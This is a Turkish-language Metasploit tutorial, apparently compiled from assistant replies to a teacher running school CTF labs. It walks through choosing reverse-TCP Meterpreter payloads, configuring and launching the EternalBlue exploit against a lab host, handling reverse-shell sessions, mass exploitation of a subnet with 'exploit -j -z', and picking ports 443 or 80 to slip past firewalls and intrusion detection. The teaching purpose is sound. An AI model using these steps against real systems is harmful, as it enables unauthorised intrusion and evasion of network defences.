Hedefe gönderildiği anda başka hiçbir şeye ihtiyaç duymadan görevini yerine getiren, genellikle küçük boyutlu kod parçalarıdır. İsimlerinde / (bölü) işareti daha azdır.
Örnek: windows/adduser (Sadece hedef sistemde yeni bir kullanıcı açar ve kapanır.)
Örnek: linux/x64/shell_reverse_tcp
2. Stagers (Öncü Yükler)
Hedefe ilk sızan, boyutu çok küçük olan ve asıl büyük amacı "kapıyı aralayıp içeriye daha büyük bir yükü (Stage) çekmek" olan kodlardır. Güvenlik duvarlarından ve bellek kısıtlamalarından kaçmak için kullanılır.
3. Stages (Asıl Yükler)
Stager tarafından içeri çekilen asıl büyük, karmaşık ve gelişmiş fonksiyonlara sahip yüklerdir (Örneğin Meterpreter).
Önemli İpucu (Staged vs Stageless):
İsimlendirmedeki "alt çizgi" (_) ve "bölü" (/) işaretleri payload'un tipini ele verir:
windows/meterpreter/reverse_tcp (Bölü ile ayrılmış) -> Staged (Aşamalı): Önce küçük bir kod gider, sonra Meterpreter indirilir. Çoğu zaman daha kararlıdır.
windows/meterpreter_reverse_tcp (Alt çizgi ile birleşik) -> Stageless (Aşamasız / Single): Tüm Meterpreter kodu tek seferde devasa bir paket olarak gönderilir. Bellek kısıtlaması olan exploitlerde çalışmayabilir.
Payload Nasıl Belirlenir?
İstediğiniz veya hedefe uygun olan payload'u listeden bulduktan sonra, onu aktif exploit'inize bağlamak için set payload komutunu kullanırsınız:
set payload windows/x64/meterpreter/reverse_tcp
Bu atamayı yaptıktan sonra tekrar show options yazdığınızda, exploit ayarlarının altına payload'un çalışması için gereken yeni ayarların (Örneğin sizin IP adresinizi belirten LHOST ve dinleyeceğiniz portu belirten LPORT) eklendiğini göreceksiniz.
Metasploit'in Arama Motoru: search Komutu ve Gelişmiş Filtreleme
Metasploit Framework içerisinde an itibarıyla binlerce farklı modül (exploit, payload, auxiliary vb.) bulunmaktadır. Önceki adımda da değindiğimiz gibi, bu okyanusta show komutlarıyla kaybolmak yerine nokta atışı hedeflere ulaşmak için search komutu kullanılır.
Özellikle bilgisayar laboratuvarlarında kurgulanan kısıtlı süreli simülasyonlarda veya CTF yarışmalarında doğru modülü saniyeler içinde bulabilmek kritik bir beceridir.
1. Temel Kullanım
Eğer aradığınız servisin veya zafiyetin adını kabaca biliyorsanız, komutun yanına doğrudan yazabilirsiniz. Metasploit, modül isimlerinde ve açıklamalarında bu kelimeyi arar.
search smb
search apache
search eternalblue
2. Gelişmiş Filtreleme (Operasyonel Kullanım)
search komutunun asıl gücü, arama sonuçlarını daraltmak için sunduğu parametrelerdir. Farklı parametreleri yan yana kullanarak çok spesifik aramalar yapabilirsiniz.
type: (Modül Türüne Göre): Sadece exploitleri, sadece payloadları veya bilgi toplama araçlarını listelemek için kullanılır.
Örnek: search type:exploit apache
platform: (İşletim Sistemine Göre): Hedef sistemin işletim sistemini biliyorsanız, alakasız sonuçları elersiniz.
Örnek: search platform:linux type:exploit samba
cve: (Güvenlik Açığı Koduna Göre): Nmap veya Nessus gibi bir tarayıcıdan spesifik bir CVE kodu (Örn: CVE-2021-3156) elde ettiyseniz, doğrudan bu açığı kullanan modülü bulabilirsiniz.
Örnek: search cve:2017-0144
name: (İsme Göre Kesin Arama): Kelimeyi açıklamada değil, sadece modülün dosya yolunda/isminde arar.
Örnek: search name:mysql
rank: (Güvenilirlik Seviyesine Göre): Uygulamalı eğitimlerde laboratuvar makinelerinin çökmesini (Mavi Ekran / Kernel Panic) engellemek için sadece en stabil çalışan exploitleri listelemek isteyebilirsiniz.
Örnek: search type:exploit rank:excellent windows
3. Arama Çıktısını Okumak ve Kullanmak
Aramayı yaptıktan sonra karşınıza çıkan tabloda dikkat etmeniz gereken en önemli kısım en soldaki # (Numara) sütunu ve Rank sütunudur.
Plaintext
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
1 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow
Kullanmak istediğiniz modülü bulduğunuzda, uzun dosya yolunu yazmak yerine sadece # sütunundaki numarasını kullanarak modülü aktif hale getirebilirsiniz:
use 0
Bu komutu girdikten sonra show options diyerek hedefin IP adresini (RHOSTS) ayarlamaya başlayabilirsiniz.
Öğrencileriniz için hazırladığınız CTF senaryolarında ve laboratuvar pratiklerinde, genellikle doğrudan sisteme sızma (exploit) aşamasına mı odaklanıyorsunuz, yoksa öncesinde bilgi toplama ve zafiyet tarama (auxiliary) modüllerinin kullanımını da müfredata dahil ediyor musunuz?
info Komutu: Bir Modülün Anatomisini Anlamak
Metasploit Framework içerisinde info komutu, seçtiğiniz veya ilgilendiğiniz bir modül (exploit, payload, auxiliary vb.) hakkında bilinmesi gereken her detayı ekrana döken başvuru kaynağıdır.
Özellikle 11. sınıf öğrencilerinizin katıldığı CTF senaryolarında, hedefe saldırmadan önce sadece komutları ezberlemek yerine zafiyetin arka planda nasıl çalıştığını kavramaları (ezberci mantıktan, namıdiğer "Script Kiddie" olmaktan kurtulmaları) için bu komutun çıktısını okumayı bir alışkanlık haline getirmeleri çok önemlidir.
info Komutu Nasıl Kullanılır?
İki farklı kullanım senaryosu vardır:
1. Arama Sonuçlarından Doğrudan Bakmak:
Henüz bir modülün içine girmeden, sadece adını veya yolunu yazarak bilgi alabilirsiniz.
info exploit/windows/smb/ms17_010_eternalblue
veya arama tablosundaki numarasıyla: info 0
2. Seçili Modülün İçindeyken Kullanmak:
Eğer use komutuyla modülü aktif hale getirdiyseniz, yanına hiçbir şey yazmadan sadece info diyerek detayları görebilirsiniz.
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
info Çıktısında Neler Bulunur? (Kritik Bölümler)
Çıktı oldukça uzundur ancak sızma testi sırasında şu bölümler hayati önem taşır:
Name & Platform (İsim ve Platform): Modülün tam adı ve hangi işletim sistemi/mimari (x86, x64, Linux, Windows) için yazıldığı bilgisini verir.
Provided by (Geliştiriciler): Bu sömürü kodunu yazan siber güvenlik araştırmacılarının isimlerini listeler.
Rank (Güvenilirlik Seviyesi): Önceki arama komutunda da bahsettiğimiz gibi, hedefin çökme riskini (Excellent, Normal, Manual vb.) belirtir.
Available targets (Uygun Hedefler): Hedef sistemin işletim sistemi versiyonları listelenir. Örneğin, bir exploit sadece "Windows 7 SP1 x64" üzerinde çalışıyor olabilir. Eğer Nmap taramanızdaki versiyon bu listede yoksa, exploit büyük ihtimalle başarısız olacaktır veya sistemi çökertecektir.
Basic options (Temel Ayarlar): show options komutuna benzer şekilde, exploit'in çalışması için zorunlu olan (Required: Yes) parametreleri (RHOSTS, RPORT vb.) gösterir.
Description (Açıklama): En önemli kısımdır. Zafiyetin teknik olarak nasıl oluştuğunu (örneğin "Bellek taşması - Buffer Overflow" mu, yoksa "Mantıksal bir hata" mı olduğunu) ve modülün bu açığı nasıl sömürdüğünü detaylıca anlatır.
References (Referanslar): Zafiyetin CVE (Common Vulnerabilities and Exposures) numarası, Exploit-DB linkleri ve Microsoft/Linux güvenlik bülteni adresleri yer alır. Öğrencileriniz bir zafiyeti derinlemesine araştırmak ve raporlamak istiyorsa, işe buradan başlamalıdır.
Eğitim Laboratuvarı İçin Küçük Bir İpucu
Öğrencileriniz bir makineye başarıyla sızdığında onlardan sadece "sisteme girdim" demelerini değil, info komutunun "Description" ve "References" kısımlarını kullanarak "Bu sisteme neden sızabildik ve sistem yöneticisi bunu nasıl yamayabilirdi?" sorusunu cevapladıkları kısa bir rapor istemek, siber güvenlik temellerinin çok daha sağlam atılmasını sağlayacaktır.
Hazırladığınız laboratuvar ortamındaki hedef makinelerde ilk erişimi sağladıktan sonra, bir sonraki adım olarak sistemde hak yükseltme (Privilege Escalation - standart kullanıcıdan Admin/Root seviyesine çıkma) tekniklerine de değinmek ister misiniz?
show options Komutu: Modül Parametrelerini Görüntüleme ve Yapılandırma
Metasploit Framework içerisinde use komutuyla bir modülü (exploit, auxiliary veya post) aktif hale getirdikten sonra çalıştırılması gereken en kritik komut show options komutudur.
Bu komut, seçilen modülün hedefe başarıyla gönderilebilmesi veya taramanın başlatılabilmesi için hangi ayarların (değişkenlerin) yapılması gerektiğini, hangilerinin zorunlu olduğunu ve mevcut değerlerini gösteren bir kontrol panelidir.
show options Çıktısı Nasıl Okunur?
Önceki adımlarda incelediğimiz exploit/windows/smb/ms17_010_eternalblue modülünü seçip show options yazdığınızda karşınıza genellikle iki ana bölümden oluşan bir tablo çıkar: Module Options (Modül Ayarları) ve Payload Options (Zararlı Yük Ayarları).
Plaintext
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR and more
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: none, seh, thread, process)
LHOST yes The listen address (proxied connections must use the reverse host:port)
LPORT 4444 yes The listen port
Tablodaki Sütunların Anlamları
Name (Parametre Adı): Değer atayacağınız değişkenin adıdır. Metasploit'te en sık karşılaşacağınız iki temel parametre şunlardır:
RHOSTS (Remote Hosts): Saldırılacak veya taranacak olan hedef sistemin/sistemlerin IP adresidir. (Örneğin bizim senaryomuzdaki 10.113.191.111).
RPORT (Remote Port): Hedefteki servis portudur. Seçtiğiniz exploite göre varsayılan olarak gelir (SMB için 445 gibi).
LHOST (Local Host): Payload'un (Meterpreter) hedef sistemde çalıştıktan sonra geri bağlanacağı, yani sizin (saldırgan/testi gerçekleştiren) makinenizin IP adresidir.
LPORT (Local Port): Kendi makinenizde gelen bağlantıyı dinleyeceğiniz port numarasıdır (Varsayılanı genellikle 4444'tür).
Current Setting (Mevcut Ayar): Değişkenin o anki değeridir. Eğer içi boşsa ve bir sonraki sütunda "yes" yazıyorsa, burayı doldurmadan modülü çalıştıramazsınız.
Required (Zorunlu mu?): Eğer burada yes yazıyorsa, modülün çalışması için bu parametrenin doldurulması şarttır. no yazan parametreler ise gelişmiş ince ayarlar içindir ve boş bırakılabilir.
Description (Açıklama): O parametrenin ne işe yaradığını kısaca açıklayan bölümdür.
Eksik Parametreler Nasıl Doldurulur?
show options ile eksik olan zorunlu alanları tespit ettikten sonra, bu alanları doldurmak için set komutu kullanılır.
Laboratuvar ortamındaki hedef makineye (10.113.191.111) ve kendi yerel IP'nize göre ayarları şu şekilde yapabilirsiniz:
Bash
msf6 exploit(...) > set RHOSTS 10.113.191.111 RHOSTS => 10.113.191.111 msf6 exploit(...) > set LHOST 10.113.152.236 LHOST => 10.113.152.236
Bu set komutlarından sonra tekrar show options yazarak verilerin doğru yerleştiğinden emin olabilirsiniz. Her şey tamamsa ve Required olan tüm alanlar "Current Setting" sütununda dolmuşsa, artık son adım olan exploit veya run komutunu vermeye hazırsınız demektir.
Eksik Komut Girişi!
Metasploit konsolunda set RHOSTS komutunu tek başına girdiğinizde sistem neyi hedef alacağını bilemez. Bu komut, hedefin IP adresini (veya adreslerini) tanımlamak için bir "değer" (value) bekler.
Bir önceki tarama senaryomuzdaki hedef makineyi (Jon-PC) tanımlamak için komutu şu şekilde tamamlamalısınız:
set RHOSTS 10.113.191.111
RHOSTS (Remote Hosts) Parametresinin Esnekliği
Siber güvenlik testlerinde hedefleri belirlerken RHOSTS parametresi oldukça esnek bir yapıya sahiptir. Sadece tek bir IP adresi girmek zorunda değilsiniz. Uyguladığınız senaryonun kapsamına göre farklı şekillerde tanımlama yapabilirsiniz:
Tek Hedef: Sadece belirli bir makineyi test etmek için.
set RHOSTS 10.113.191.111
Çoklu Hedef: Birden fazla spesifik makineyi aralarında boşluk bırakarak test etmek için.
set RHOSTS 192.168.1.10 192.168.1.20
IP Aralığı: Belirli bir IP aralığındaki tüm makineleri hedef almak için.
set RHOSTS 192.168.1.50-192.168.1.100
Tüm Alt Ağ (CIDR): Bütün bir laboratuvar ağını veya departmanı (örneğin 254 makineyi) aynı anda taramak veya exploit fırlatmak için.
set RHOSTS 192.168.1.0/24
Komutu doğru şekilde (IP adresiyle birlikte) girdikten sonra, Metasploit size RHOSTS => 10.113.191.111 şeklinde bir onay mesajı döndürecektir.
Bu atamayı yaptıktan sonra, işlemin sisteme doğru işlendiğinden emin olmak için tekrar show options komutunu çalıştırabilir ve tablodaki Current Setting sütununu kontrol edebilirsiniz.
unset Komutu: Hataları Düzeltmek ve Parametreleri Temizlemek
Metasploit Framework içerisinde set komutunun tam zıttı olarak çalışan komuttur. Yanlışlıkla atadığınız bir değeri silmek, bir parametreyi tamamen boşaltmak veya varsayılan (default) değerine geri döndürmek için kullanılır.
Uygulamalı laboratuvar eğitimlerinde, öğrencilerin heyecanla yanlış hedef IP adreslerini girmeleri veya eski senaryodan kalan ayarları unutmaları çok sık rastlanan bir durumdur. Bu gibi durumlarda panik yapmadan ayarları sıfırlamanın en temiz yolu unset komutunu kullanmaktır.
Nasıl Kullanılır?
unset komutunun kullanımı tıpkı set komutu gibidir, ancak sonuna bir değer yazmanıza gerek yoktur; sadece temizlemek istediğiniz parametrenin adını yazmanız yeterlidir.
Örnek Senaryo:
Yanlışlıkla laboratuvarınızdaki hedef makine (10.113.191.111) yerine öğretmenin makinesinin IP adresini hedef (RHOSTS) olarak ayarladığınızı varsayalım:
set RHOSTS 192.168.1.100
Bu hatayı düzeltip RHOSTS parametresini tamamen boşaltmak için:
unset RHOSTS
Bu komutu girdikten sonra Metasploit Unsetting RHOSTS... şeklinde bir yanıt verir. Ardından show options yazdığınızda, RHOSTS satırının "Current Setting" (Mevcut Ayar) kısmının boşaldığını görebilirsiniz. Artık doğru IP adresiyle yeni bir set ataması yapabilirsiniz.
Güçlü Bir Alternatif: unset all
Eğer bir modülün içinde çok fazla değişiklik yaptıysanız, birden fazla payload denediyseniz ve işler iyice karıştıysa, tüm ayarları tek tek silmek yerine modülü fabrikasyon ayarlarına döndürmek isteyebilirsiniz.
Bunun için şu komut kullanılır:
unset all
Bu komut, bulunduğunuz modülün içindeki RHOSTS, RPORT, LHOST, LPORT gibi tarafınızca atanmış tüm değişkenleri aynı anda siler ve modülü ilk use komutuyla açtığınız o tertemiz haline geri getirir.
Sanırım exploit yazmak istediniz.
Metasploit Framework içerisinde use ile modülü seçip, show options ile eksikleri belirleyip, set ile hedefleri (RHOSTS) ve kendi IP adresinizi (LHOST) tanımladıktan sonra basılan son tetiğe exploit adı verilir.
Tüm hazırlıklar tamamlandığında, zararlı yükü (payload) hedef sisteme fırlatmak ve sızma işlemini fiilen başlatmak için kullanılan ana komuttur.
Nasıl Kullanılır?
Tüm ayarların (Options) doğru olduğundan emin olduktan sonra terminale sadece şu komutu yazmanız yeterlidir:
exploit
(Not: Metasploit içerisinde exploit komutu ile run komutu tamamen aynı işlevi görür. Alışkanlığınıza göre ikisini de kullanabilirsiniz.)
Komutu Girdikten Sonra Neler Olur?
exploit komutunu çalıştırdığınızda Metasploit sırasıyla şu işlemleri gerçekleştirir:
Bağlantı Kurulumu: Sizin makinenizde (LHOST) belirlediğiniz portu (LPORT) dinlemeye başlar.
Paket Gönderimi: Hedef makinenin (RHOSTS) açık olan ve zafiyet barındıran portuna (RPORT) özel olarak hazırlanmış sömürü kodunu paketler halinde gönderir.
Payload Enjeksiyonu: Eğer hedefteki güvenlik açığı başarıyla tetiklenirse, seçtiğiniz zararlı yük (Örneğin Meterpreter) hedefin belleğine enjekte edilir.
Oturum (Session) Açılması: Hedefteki payload sizin dinlediğiniz porta geri bir bağlantı (Reverse Connection) kurar. Ekranda genellikle siber güvenlikçilerin en sevdiği o meşhur yazıyı görürsünüz:
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 10.113.191.111:49158)
Bu mesajı gördüğünüz anda işlem başarılı olmuş demektir. Artık msf6 > komut satırı yerine meterpreter > komut satırına düşersiniz ve doğrudan hedef sistemin içerisinde yetki sahibi olarak komut çalıştırmaya başlarsınız.
İleri Düzey Kullanım: Arka Planda Çalıştırma (-j)
Bazen fırlattığınız bir exploit hemen sonuç vermeyebilir veya birden fazla hedefe aynı anda exploit yollamanız gerekebilir. Terminal ekranınızın kilitlenmesini istemiyorsanız exploit komutunu Job (Görev) olarak arka plana atabilirsiniz:
exploit -j
Bu parametre (job), işlemi arka planda sessizce başlatır. Arka planda bir sistem düştüğünde ve oturum açıldığında Metasploit size bildirim gönderir. Siz bu sırada sessions -l komutuyla açılan oturumları kontrol edebilir veya başka testlere devam edebilirsiniz.
Küçük Bir Harf Hatası!
Metasploit konsolunda çok sık yapılan bir sözdizimi (syntax) hatasına denk geldiniz. Doğru parametre LHOSTS (çoğul) değil, LHOST (tekil) olmalıdır.
Özellikle 11. sınıf öğrencileriniz CTF senaryolarında Pardus makinelerini yapılandırırken RHOSTS parametresindeki "S" harfine alışıp, aynısını LHOST için de kullanmaya çalıştıklarında bu hatayla sıkça karşılaşırlar.
Neden Biri Çoğul (RHOSTS) İken Diğeri Tekil (LHOST)?
Metasploit'in isimlendirme mantığı aslında ağın doğasına dayanır:
RHOSTS (Remote Hosts - Çoğul): Hedef sistemleri ifade eder. Bir tarama veya saldırı sırasında aynı anda birden fazla hedefi, koca bir alt ağı (Örn: 192.168.1.0/24) tarayabilir veya vurabilirsiniz. Bu yüzden çoğuldur.
LHOST (Local Host - Tekil): Sizin (saldırganın) kendi makinenizi ifade eder. Hedef sisteme giden zararlı yük (payload), işini bitirdiğinde geriye doğru (reverse connection) tek bir merkeze, yani sizin makinenize bağlanmak zorundadır. Bu yüzden tekildir.
Doğru Kullanım
Tıpkı RHOSTS atamasında olduğu gibi, set komutundan sonra doğru parametreyi ve kendi makinenizin IP adresini girmelisiniz:
set LHOST 10.113.152.236
(Buraya kendi Pardus/Kali makinenizin o anki güncel IP adresini yazmalısınız. Kendi IP adresinizi terminalde ayrı bir sekme açıp ip a veya ifconfig komutuyla öğrenebilirsiniz.)
Bu atamayı yaptıktan sonra Metasploit LHOST => 10.113.152.236 şeklinde bir onay verecektir. Bu atama sayesinde, fırlattığınız exploit hedef makineyi (Jon-PC) başarıyla ele geçirdiğinde, Meterpreter oturumunun nereye geri döneceğini (evin yolunu) göstermiş olursunuz.
Yine Eksik Bir Atama!
Tıpkı RHOSTS ve LHOST komutlarında olduğu gibi, set LPORT komutu da tek başına çalışmaz; yanına bir değer (Port numarası) girmeniz gerekir.
LPORT (Local Port), hedef sisteme gönderdiğiniz zararlı yükün (payload) işini bitirdikten sonra sizin makinenize (LHOST) geri bağlanırken hangi kapıyı (portu) çalacağını belirler.
Nasıl Kullanılır?
Komutu, dinlemek istediğiniz port numarası ile birlikte girmelisiniz:
set LPORT 4444
Bu komutu girdikten sonra LPORT => 4444 şeklinde onay mesajını alırsınız. Bu sayede LHOST (IP Adresiniz) ve LPORT (Port Numaranız) birleşerek, payload için tam bir dönüş adresi oluşturur (Örn: 10.113.152.236:4444).
Eğitim Laboratuvarı İçin Önemli Bir "Saha" İpucu
Metasploit'te LPORT değerinin varsayılanı (default) dünya genelinde 4444'tür. Eğer show options yazdığınızda bu ayarı değiştirmezseniz sistem hep bu portu dinler.
Ancak 11. sınıf öğrencilerinize siber güvenlik defans (Mavi Takım) mantığını aşılarken onlara şu altın kuralı öğretebilirsiniz: Hiçbir gerçek saldırgan 4444 portunu kullanmaz!
Çünkü güvenlik duvarları (Firewall) ve Saldırı Tespit Sistemleri (IDS), 4444 portundan gelen dışarıya doğru (outbound) bir trafiği gördüğü an otomatik olarak engeller ve alarm verir. CTF senaryolarınızda hedef makinelerin güvenlik duvarı kurallarını biraz sıkılaştırdıysanız, öğrencilerinize payload'ların engellemelere takılmaması için şu portları kullanmalarını tavsiye edebilirsiniz:
set LPORT 80 (Standart web trafiği gibi görünür, çoğu güvenlik duvarından rahat geçer)
set LPORT 443 (HTTPS trafiği gibi görünür, şifreli olduğu için güvenlik sistemlerini atlatması en kolay olanıdır)
set LPORT 8080 veya 53 (Alternatif web ve DNS portları)
Öğrenciler laboratuvar ortamında varsayılan 4444 yerine örneğin 443'ü kullandıklarında, "Kötü amaçlı bir trafiği, meşru bir trafiğin arkasına nasıl saklarız?" sorusunun cevabını uygulamalı olarak görmüş olurlar.
Yine Değer Eksik!
Tıpkı bir önceki adımdaki LPORT parametresinde olduğu gibi, set RPORT komutu da tek başına girildiğinde havada kalır. Yanına hedefin hangi portuna saldıracağınızı veya tarama yapacağınızı belirten bir değer yazmanız gerekir.
RPORT (Remote Port), hedef makinenin (RHOSTS) üzerinde zafiyet barındıran ve içeri sızmak için kullanacağınız servisin çalıştığı kapı numarasıdır.
Nasıl Kullanılır?
Önceki Nmap taramanızda Jon-PC makinesinde SMB servisinin (445) açık olduğunu ve EternalBlue zafiyeti için bu servisin hedeflenmesi gerektiğini konuşmuştuk. Bu durumda komutu şu şekilde girmelisiniz:
set RPORT 445
Bu atamayı yaptıktan sonra RPORT => 445 şeklinde onay mesajını alırsınız.
Ne Zaman Değiştirmek Gerekir?
Metasploit'te use komutuyla bir exploit seçtiğinizde, sistem genellikle o exploitin doğasına uygun olan RPORT değerini otomatik olarak atar. (Örneğin bir FTP zafiyeti seçtiyseniz otomatik 21, SMB seçtiyseniz 445 olur). Yani show options yazdığınızda bu kısmın genellikle dolu olduğunu görürsünüz.
Ancak 11. sınıf öğrencilerinize hazırladığınız laboratuvar CTF'lerinde işleri biraz daha zorlaştırmak ve onların ezbere gitmesini engellemek için harika bir "Sistem Yöneticisi" (Mavi Takım) şaşırtmacası yapabilirsiniz:
Standart Dışı Port Senaryosu (Port Obfuscation):
Sistemi kurarken hedef Pardus veya Windows makinesindeki servisin varsayılan portunu değiştirebilirsiniz (Örneğin SSH servisini 22 yerine 2222 portunda veya bir web uygulamasını 80 yerine 8080 portunda çalıştırabilirsiniz).
Öğrenciler Nmap ile tarama yaptıklarında servisin farklı bir portta çalıştığını keşfetmeli ve Metasploit'e geçtiklerinde ezbere exploit yazmak yerine önce şu ayarı yapmayı akıl etmelidirler:
set RPORT 2222
Bu küçük detay, onların ağ mimarisini ve "servislerin sadece belirli portlara hapsedilmediği" gerçeğini uygulamalı olarak kavramalarını sağlar.
Tebrikler! Siber güvenlik dünyasında bir sızma testi uzmanının veya CTF oyuncusunun ekranında görmeyi en çok beklediği o meşhur komut satırına ulaştınız.
meterpreter > ibaresini görmek, attığınız zafiyet sömürü kodunun (exploit) hedef sistemde başarılı olduğu, payload'un belleğe yerleştiği ve hedefin sizin Pardus/Kali makinenize doğru bağlantı (reverse shell) açtığı anlamına gelir. Artık sistemin "içerisindesiniz".
Öğrencileriniz laboratuvarda bu aşamaya geldiklerinde, rastgele komutlar denemek yerine sistemde yönlerini bulmalarını (durum tespiti yapmalarını) sağlayacak bazı temel, zararsız ve bilgi toplayıcı komutları bilmeleri gerekir.
Meterpreter İçerisinde İlk Çalıştırılacak Temel Komutlar
Sisteme ilk girildiğinde "Ben kimim, neredeyim ve sistemin durumu ne?" sorularını cevaplamak için şu komutlar kullanılır:
sysinfo (Sistem Bilgisi): Hedef bilgisayarın adını, işletim sistemini, mimarisini (x86/x64) ve sistem dilini gösterir. Nmap taramasında bulduğunuz "Windows 7" bilgisini buradan kesin olarak doğrulayabilirsiniz.
getuid (Kullanıcı Kimliği): Sisteme hangi kullanıcının haklarıyla sızdığınızı gösterir. Eğer NT AUTHORITY\SYSTEM yanıtını alırsanız, makinedeki en yüksek yetkiye (Admin/Root) sahipsiniz demektir. Sadece standart bir kullanıcıysanız, hak yükseltme (privilege escalation) adımlarına geçmeniz gerekir.
ipconfig / ifconfig: Hedef makinenin ağ kartlarını ve IP adreslerini listeler. Hedef makinenin sizin bilmediğiniz başka bir iç ağa (farklı bir laboratuvar VLAN'ına) bağlı olup olmadığını (Pivoting fırsatlarını) buradan keşfedebilirsiniz.
ps (Süreç Listesi): Hedef sistemde o an çalışan uygulamaları (process) listeler. Güvenlik duvarı veya antivirüs yazılımlarının çalışıp çalışmadığını anlamak için kontrol edilir.
shell: Meterpreter'in kendi gelişmiş bellek içi ortamından çıkıp, doğrudan hedef Windows makinesinin bildiğimiz standart komut satırına (C:\Windows\System32>) düşmenizi sağlar. Çıkmak için exit yazarak tekrar Meterpreter'e dönebilirsiniz.
Oturumu Güvenle Yönetmek
Öğrencilerin en sık yaptığı hatalardan biri, işlemi bitirmeden veya Metasploit menüsüne geri dönmek isterken oturumu yanlışlıkla öldürmektir.
background: Aktif Meterpreter oturumunu kapatmadan arka plana atar ve sizi Metasploit ana menüsüne (msf6 >) geri döndürür. (Klavyeden CTRL + Z kısayolu da aynı işi yapar). Arka plandaki oturuma tekrar dönmek için sessions -i [Oturum_Numarası] komutunu kullanabilirsiniz.
exit: Oturumu tamamen kapatır ve bağlantıyı koparır. Bunu yazdığınızda hedefe tekrar exploit yollamak zorunda kalırsınız.
Laboratuvar senaryolarınızda, öğrenciler bu yetkili erişimi elde ettikten sonra, sızdıkları makine üzerinden iç ağdaki (11. sınıf veya 9. sınıf IP bloklarındaki) diğer kapalı makinelere erişmek için "Pivoting" (Ağ Sıçraması) tekniklerini de deniyorlar mı?
Harika bir komut kombinasyonu! Metasploit'te tek bir hedefe odaklanmaktan çıkıp, profesyonel bir "Kırmızı Takım" (Red Team) oyuncusu gibi çoklu operasyonları yönetmeye başladığınızın göstergesidir.
Özellikle 11. sınıflar için organize ettiğiniz uygulamalı siber güvenlik bitirme simülasyonlarında, hücum yapan öğrencilerin laboratuvardaki 15 istemci makineyi aynı anda hedef aldığı (Mass Exploitation) senaryolarda bu komut ikilisi terminal yönetimini inanılmaz derecede kolaylaştırır.
Komutu parçalarına ayırarak inceleyelim:
Parametrelerin Anlamı
exploit: Bildiğimiz sömürü işlemini başlatma komutu.
-j (Job - Görev): Fırlatılan exploit'i (veya dinleyiciyi) ana terminal ekranını kilitlemeden arka planda (background) çalıştırır. Siz msf6 > satırında başka komutlar yazmaya veya yeni hedefler taramaya devam edebilirsiniz.
-z (Zero Interaction - Etkileşime Girme): Sömürü başarılı olup hedef sistemden size bir bağlantı (Reverse Shell/Meterpreter) geldiğinde, Metasploit varsayılan olarak sizi hemen o yeni açılan oturumun içine çeker. -z parametresi bunu engeller. Oturum açılır, güvene alınır ancak sizi içeri atmaz; kendi konsolunuzda kalmanızı sağlar.
Ne Zaman ve Neden Kullanılır? (Laboratuvar Senaryosu)
Öğrencilerinizin ağdaki 5 farklı zafiyetli Windows veya Linux makinesine aynı anda exploit gönderdiğini düşünün.
Eğer sadece exploit yazarlarsa, sızılan ilk makine anında terminali devralıp meterpreter > ekranını açar. Öğrenci ilk makinenin içindeyken, diğer 4 makinenin exploit süreci veya onlardan gelen bağlantılar terminali karmaşıklaştırabilir.
Ancak exploit -j -z kullanıldığında süreç şöyle işler:
Öğrenci komutu yazar.
Terminal ona sadece [*] Exploit running as background job 0. der ve msf6 > satırını geri verir.
Öğrenci kahvesini yudumlarken hedefler tek tek düşmeye başlar ve terminalde sadece şu bildirimler alt alta akar:
[*] Meterpreter session 1 opened (10.113.152.236:4444 -> 10.113.191.111:49158)
[*] Meterpreter session 2 opened (10.113.152.236:4444 -> 10.113.191.112:50112)
[*] Meterpreter session 3 opened (10.113.152.236:4444 -> 10.113.191.113:51020)
Öğrenci bir "Balıkçı Ağı" atmış ve balıkların ağa takılmasını ana merkezden izlemiş olur.
Toplanan Oturumlara Sonradan Nasıl Girilir?
Arka planda sessizce bekleyen bu oturumlara geçiş yapmak için daha önce konuştuğumuz sessions komutları kullanılır:
Önce yakalanan tüm makineleri görmek için: sessions -l (veya sadece sessions)
İstediği spesifik bir hedefin (örneğin 2 numaralı makinenin) içine girmek için: sessions -i 2
Bu şekilde arka planda toplanan çoklu oturumları yönetirken, ele geçirilen tüm makinelerde aynı anda tek bir komut çalıştırmayı (örneğin hepsinde aynı anda sistem bilgisini çekmeyi veya bir metin belgesi oluşturmayı) sağlayan gelişmiş Metasploit otomasyon tekniklerine geçmek ister misiniz?
Yorumlar